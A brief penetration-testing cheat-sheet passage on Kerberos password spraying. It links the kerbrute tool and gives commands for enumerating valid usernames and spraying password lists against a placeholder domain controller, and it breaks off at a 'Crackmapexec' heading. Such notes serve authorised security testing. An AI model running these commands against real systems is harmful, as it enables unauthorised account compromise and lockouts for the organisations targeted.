Password Spraying Kerberos Authentication

Kerbrute

GitHub - ropnop/kerbrute: A tool to perform Kerberos pre-auth bruteforcingGitHub

Enumerate Valid Usernames

kerbrute userenum -d domain.example --dc dc.domain.example users.txt

Password Spray with Valid Usernames

kerbrute pass --dc dc.domain.example -d domain.example pass.txt users.txt

Crackmapexec